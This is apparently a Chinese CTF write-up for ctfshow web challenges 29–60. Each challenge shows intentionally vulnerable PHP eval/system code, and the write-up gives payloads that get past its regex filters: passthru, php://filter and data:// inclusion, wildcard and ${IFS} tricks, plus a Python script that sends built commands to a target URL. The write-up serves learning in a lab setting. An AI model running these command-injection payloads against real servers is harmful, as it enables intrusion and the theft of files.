web29
代码分析:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
当匹配到flag时,便不会输出
通过ls查看当前目录下的文件;
# 直接执行系统命令
?c=system("tac fla*");
# 内敛执行 (反字节符)
?c=echo `tac fla*`;
# 利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system(ls);
?c=eval($_GET[1]);&1=system("tac fla*");
# 利用参数输入+include
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
# 利用cp命令将flag拷贝到别处
?c=system("cp fl*g.php a.txt ");
web30
代码分析:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了"flag/system/php",我们可以使用"passthru";
?c=passthru("ls");
?c=passthru("tac fla*");
web31
代码分析:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了"flag/system/php/cat/shell/sort";继续使用"passthru()",此外还过滤了空格,可以用"%09(tab键)"
?c=passthru("tac%09fla*");
web32
代码分析:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了:flag/system/php/cat/sort/shell/./ /'/`/echo/;/(等,这题我们用include
;被过滤了所以我们使用%0a
构造了一个GET参数1,对文件内容进行base64编码,并且 resource=flag.php 指定了读取的文件路径是 flag.php,再将最终的结果进行base解码
web33
代码分析:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
此题同样采用文件上传:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
得到编码后的内容,base64解码:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODc5MmMxOTYtMzBjYy00NzU5LWFmYTMtNmY5ZTJmNzhlN2Q0fSI7DQo=
web34
代码审计:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了:flag/system/php/cat/sort/shell/./'/"/ /echo/;/:/`等;
同样,此题的payload和上题一样:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
代码审计:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了:flag/system/php/cat/sort/shell/./;/'/:/"/`/ /echo/(/=/<等;
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDM6Mzc6MTENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ZGY0MjhhMjMtYjJiMC00ZDEzLTk2YjgtNzE3ZTVmZTE2YzI5fSI7
web36
代码审计:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag/system/php/cat/sort/shell/./;/'/:/"/`/ /echo/(/=/</[0-9]等;
我们这里用字母代替数字1;
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
代码审计:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://协议用法:
data://text/plain,
data://text/plain;base64,
payload: c=data://text/plain,<?php system("cat f*")?> //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
//'base64,'后面是base64加密的<?php system('cat flag.php')?>
web38
代码审计:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
新过滤了file和php;
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//'base64,'后面是base64加密的<?php system("cat flag.php");?>
web39
代码审计:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,<?php system("cat f*")?>
web40
代码审计:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
字母,_,()和;没有被过滤,在代码中过滤的是中文括号.
scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current() 函数返回数组中的当前元素的值。别名是 pos()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。
但过滤了.,所以我们用另外一种方法;
?c=print_r(scandir(pos(localeconv())));
效果一样;localeconv()的第一个元素是"." ,用pos()可以返回数组第一个元素的值。所以结合起来就是 scandir(".") 相当于返回当前目录下文件的数组,最后用print_r输出。下一步应该要把flag.php这个值取出,来读取文件内容。但发现没有什么办法可以直接取出。
在PHP中,current()
函数用于返回数组中的当前元素的值。它会将数组指针指向当前元素,并返回该元素的值。如果数组是关联数组,current()
返回当前指针所指向的值;如果数组是索引数组,current()
返回当前指针所指向的值。数组指针是指向数组中当前元素的指针,通常由遍历数组时的函数(例如 foreach
)进行操作。
以下是一个简单的示例,演示了 current()
函数的使用:
$array = array(1, 2, 3, 4, 5);
echo current($array); // 输出:1
next($array); // 将数组指针移动到下一个元素
echo current($array); // 输出:2
reset($array); // 将数组指针重新指向第一个元素
echo current($array); // 输出:1
在上面的示例中,current()
函数用于获取数组中当前指针所指向的元素的值。
在PHP中,current()
函数不会移动数组内部的指针。要移动指针以访问数组中的不同元素,需要使用 next()
、prev()
、reset()
和 end()
等函数。这些函数可以在移动指针的同时改变当前元素的值。
$array = array(1, 2, 3, 4, 5);
// 获取当前元素的值
echo current($array); // 输出:1
// 移动指针到下一个元素
next($array);
echo current($array); // 输出:2
// 重置指针到第一个元素
reset($array);
echo current($array); // 输出:1
// 将指针移动到最后一个元素
end($array);
echo current($array); // 输出:5
在这个示例中,current()
函数用于获取当前指针所指向的元素的值,并且通过 next()
、reset()
和 end()
函数移动了数组内部的指针,以改变当前元素的值。
当操作数组时,有一些常用的指针移动函数和数组指针控制函数可以使用。下面是一些示例:
next(): 将数组指针移动到下一个元素。
$array = array(1, 2, 3, 4, 5);
next($array); // 将指针移动到第二个元素
prev(): 将数组指针移动到上一个元素。
$array = array(1, 2, 3, 4, 5);
prev($array); // 将指针移动到第一个元素之前(即未定义的位置)
reset(): 将数组指针重置为第一个元素。
$array = array(1, 2, 3, 4, 5);
reset($array); // 将指针重置到第一个元素
end(): 将数组指针移动到最后一个元素。
$array = array(1, 2, 3, 4, 5);
end($array); // 将指针移动到最后一个元素
current(): 返回数组中当前指针所指向的元素的值。
$array = array(1, 2, 3, 4, 5);
echo current($array); // 输出:1
key(): 返回数组中当前指针所指向的元素的键。
$array = array(1, 2, 3, 4, 5);
echo key($array); // 输出:0
each(): 返回当前元素的键和值,并将数组指针向前移动一步。
$array = array('a' => 'apple', 'b' => 'banana', 'c' => 'cherry');
$element = each($array);
echo $element['key'] . ' : ' . $element['value']; // 输出:a : apple
这些函数可用于在数组中移动指针,并获取相应位置的元素值或键。
这时候我们可以用array_reserve()把数组内元素顺序倒过来,flag就变成数组中的第二项,然后可以用next()取出(默认指针停留在数组第一项)
?c=print_r(array_reverse(scandir(pos(localeconv()))));
?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
最后我们可以用read_file()、highlight_file()和show_source()读出源码,拿到flag
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
分析代码:
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
代码中过滤的较多,我们可以使用脚本先跑出来所有的可用字符;从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i); //将小于16的数字转化为16进制存储
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j); //将小于16的数字转化为16进制存储
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
//将16进制数转化为ascii码字符,判断是否存在被过滤的字符,存在则输出为空
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b)); //将a和b进行或运算得到c
//判断c是否为可见字符,将其输出到rce_or.txt文件中
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
代码运行过后会生成一个txt文件,此文件为可见字符集,之后我是用羽师傅的自动化脚本:
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
# 执行PHP文件,该文件可能用于远程代码执行(RCE)的初始设置或测试
os.system("php rce_or.php") # 如果没有将php写入环境变量,需要手动运行
# 检查命令行参数的数量,确保用户提供了正确的URL
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
# 从命令行参数中获取目标URL
url = argv[1]
/**
* 根据输入字符查询并构造特定的输出字符串
* @param arg 输入的字符,预期为一个字符
* @return 返回构造的字符串,该字符串由两部分组成,用"|"分隔
*/
def action(arg):
s1 = ""
s2 = ""
# 根据输入字符从文件中读取相应的字符串片段
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
# 组合读取到的字符串片段,并返回
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
# 无限循环,接收用户输入的函数和命令,然后发送POST请求
while True:
# 分别获取用户输入的函数和命令,并通过action函数处理
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
# 对用户输入进行URL解码,并构造请求数据
data = {
'c': urllib.parse.unquote(param)
}
# 发送POST请求到目标URL,并打印响应结果
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
执行一个名为rce_or.php的PHP文件,该文件可能用于远程代码执行的初始设置或测试。
检查命令行参数的数量,确保用户提供了正确的URL。
从命令行参数中获取目标URL。
定义了一个名为action的函数,该函数根据输入字符查询并构造特定的输出字符串。
在一个无限循环中,接收用户输入的函数和命令,然后调用action函数处理用户输入,并发送POST请求到目标URL。
打印响应结果。
web42
这题他说过滤了很严格:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这代码分析完后,代码的输出结果不会在页面上显示,即不回显
?c=ls;
?c=cat fl*;
接着查看源码即可得到flag;
可以使用一下符号进行命令分割,以此来绕过回显
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
https://www.cnblogs.com/tinywan/p/6025468.html
web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac fla*||
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac fl*||
web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla*||
web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web47
<?php
if (isset($_ GET['c'])) {
$c=$_ GET['c'];
if (!preg_ match("/\: |cat |flag| | [0-9] |\\$ |\* |more |less |headlsort|tail/i",$c)){
system($c.”>/dev/null 2>&1") ;
}
}else{
highlight_ file(__ FILE__ ) ;
}
payload:
?c=tac%09fla?.php%0a
web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
注意:<不能和?连在一起用
payload:
?c=tac<fla''g.php||
web51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl<fla''g.php||
web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在输入:?c=nl${IFS}fla''g.php||,得到的并不是flag,我们使用find命令进行查找
find / -name "flag" -print
?c=nl${IFS}/fla''g||
web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl${IFS}fla''g.php
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
这题过滤的比较多,我们可以使用bin目录下的cat文件夹来代替cat的命令作用,并同时使用通配符?代替一些字符:
payload:
?c=/bin/?at${IFS}f???????
https://www.cnblogs.com/cuiqi1314/articles/7339776.html
web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
payload:
使用通配符和base编码flag:
?c=/???/????64 ????.???
# 翻译过来
?c=/bin/base64 flag.php
web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了数字便无法使用base64编码了,我们使用文件上传;写一个界面,action的指向为靶场页面的url:
glob通配符
因为只有PHP生成的临时文件包含大写字母,所以可以用/???/????????[@-[]来匹配我们上传的临时文件。
原理:
翻开ascii码表,可见大写字母位于@与[之间:
那么,我们可以利用[@-[]来表示大写字母:
. 执行文件不需要x权限
web57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
经过分析,我们所需要的便是构造出36这个数字,
${_}:代表上一次命令执行的结果
$(()): 做运算
[root@localhost ~]# echo ${_}
PATH
[root@localhost ~]# pwd
/root
[root@localhost ~]# echo ${_}
pwd
[root@localhost ~]# echo $(())
0
[root@localhost ~]# echo $((~$(())))
-1
题目要读取36.php,先对36取反,可以知道36可以由-37取反得到,-37又可以拆成37个 -1 相加也就是37个$((~$(( )))),再在外面取反(也就是对-37取反)就可以得到36
payload:
题目要读取36.php,先对36取反,可以知道36可以由-37取反得到,-37又可以拆成37个 -1 相加也就是37个$((~$(( )))),再在外面取反(也就是对-37取反)就可以得到36
web58
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
获取文件路径,这里可以用两种方式
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
//通过高亮显示php文件
show_source("flag.php");
highlight_file("flag.php");
另一解法:
include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
web59
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
首先查明flag的位置:
print_r(scandir(dirname('__FILE__')));
在通过代码进行读取
print_r(file('flag.php'));
ctfshow{906e1c2d-9e05-4789-a80d-2cc81bc7d957}
web60
代码与上一题一样
c=print_r(scandir(dirname('__FILE__')));
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
(省略)